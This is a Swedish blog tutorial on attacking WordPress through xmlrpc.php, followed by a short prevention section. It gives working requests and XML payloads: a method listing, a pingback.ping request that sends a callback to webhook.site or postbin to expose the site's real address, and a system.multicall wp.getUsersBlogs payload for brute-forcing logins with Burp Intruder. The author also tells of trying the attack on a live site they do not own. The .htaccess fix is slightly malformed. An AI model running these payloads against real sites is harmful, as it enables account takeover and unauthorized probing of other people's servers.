Exploatering av xmlrpc.php
Privatliv & Cookies
Denna webbplats använder cookies. Genom att fortsätta godkänner du att de används. Läs mer, inklusive hur du kontrollerar cookies.
Vad är XML-RPC?
XML-RPC är ett API som omvandlar information eller data till en XML-fil och skickar den till mobilappen eller fjärrprogrammet. Detta infördes eftersom internethastigheten inte var så hög förr i tiden, i stället för att skriva den online. Användarna skriver sitt innehåll offline och publicerar allt tillsammans med hjälp av API:et. I takt med att internettjänsterna förbättrades använde de flesta av oss inte längre denna funktion, ofta glömde vi bort den.
Vad är sårbarheterna?
- Brute force-attack. De viktigaste orsakerna till attacken är att API:et inte har några inloggningsförsök på webbplatsen. De kanske inte får rätt inloggningsuppgifter, men orsakar ändå problem som överbelastning av webbplatsen. Webbplatsens tillgänglighet påverkas.
- Intercepting/stealing Login information. Saknar autentiseringssystem. Varje gång användaren försöker komma åt webbplatsen skickas inloggningsuppgifterna i XML-formuläret. Om anslutningen avlyssnas/ MITM, exponeras tydliga XML-data.
- XMLRPC pingback.ping. Angriparen kan använda metoden för att hämta den verkliga offentliga adressen till WordPress-webbplatsen.
⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️
För att jag ska börja visa dig de detaljerade stegen för att utföra följande attacker. Alla olagliga åtgärder som du har utfört är på egen hand. Jag är inte ansvarig för några av era handlingar. Vänligen installera din egen miljö för att göra detta eller be om tillstånd innan du gör det.
⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️
XMLRPC-attack med Burpsuite
Kontrollera först om XMLRPC.php är tillgänglig på målplatsen. I det här fallet har jag ställt in en demosajt i WordPress för att utföra attacken.
”XML-RPC-servern accepterar endast POST-förfrågningar.”
Om vi använder GET-metoden för att hämta filen får vi normalt det här resultatet.
Nästan kommer vi att göra en POST-metod för att hämta alla användbara metoder i XMLRPC-servern.
POST /xmlrpc.php/ HTTP/1.1Host: 192.168.220.137Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-SG,en-US;q=0.9,en;q=0.8Connection: closeContent-Length: 137<?xml version="1.0" encoding="utf-8"?> <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>
Servern kommer att svara dig med en lista över metoder som kan användas. I det här fallet är vi särskilt intresserade av metoden pingback.ping. En sak att notera är att alla dessa data som kommer in och ut använder XML-format som förklaras ovan. Så se till att dataformatet är korrekt.
För att utföra attacken måste vi förbereda dessa två saker först
- En giltig webhook.site URL eller något annat alternativ som du föredrar som beeceptor och postbin
- En giltig URL till ett målinriktat WordPress-inlägg.
<?xml version=”1.0″ encoding=”UTF-8″?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string></string></value>
</param>
<param>
<value><string></string></value>
</param>
</params>
</methodCall>
Nedan visas ytterligare ett exempel på denna attack på denna WordPress-webbplats. JA! Den som du tittar på just nu. Av nyfikenhet vill jag prova att attackera den riktiga webbplatsen i stället för den som jag är värd för.
Som du kan se är denna attack misslyckad och inget resultat visas i postbin. Det verkar som om de gjorde några försiktighetsåtgärder och förebyggande åtgärder för WordPress-webbplatsen online. Den här metoden är användbar för självuppsättning webbplats och inte inaktivera xmlrpc.php
Om du inte vill använda POSTBIN, öppna NC och ställa in på lyssningsläge fungerar lika bra! 👍👍
Brute force-attack med hjälp av XMLRPC.php
Som nämns ovan finns det ingen gräns för antalet försök. Att få en lyckad kombination av användarnamn och lösenord är bara en tidsfråga. Det finns inte heller någon mekanism som att spärra kontot efter ett visst antal försök.
<?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data><value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string></string></value><value><string></string></value></data></array></value></data></array></value></member></struct></value></data></array></value></param></params></methodCall>
För att visa skillnaden mellan lyckad och misslyckad inloggning finns här ett exempel.
Och självklart bör du använda Intruder för att utföra den här typen av brute force-attacker.
Först kontrollerar du attackmålet, i mitt fall kommer jag att använda IP-adressen till min webbplats.
Vi måste ställa in Payload Positions och välja ”Cluster bomb” i listan Attack type. Bra resurs för att läsa om positioner och attacktyper
Här måste vi ställa in 2 payload positioner, ”username” och password. Därefter måste vi ställa in ordlistan. Detta är dokumentation av nyttolasttyper
Klicka på ”Start attack” när du är klar
Som vi kan observera har en av förfrågningarna olika längd. Och när vi kontrollerar rådata under fliken svar, visar oss att den här kombinationen har lyckats logga in.
Förebyggande
- Installera plugin för de lata människorna
- Disable xmlrpc.php med .htaccess
# Förneka vem som helst tillgång till filen
<Filer xmlrpc.php>
order deny,allow
deny from all
</Files>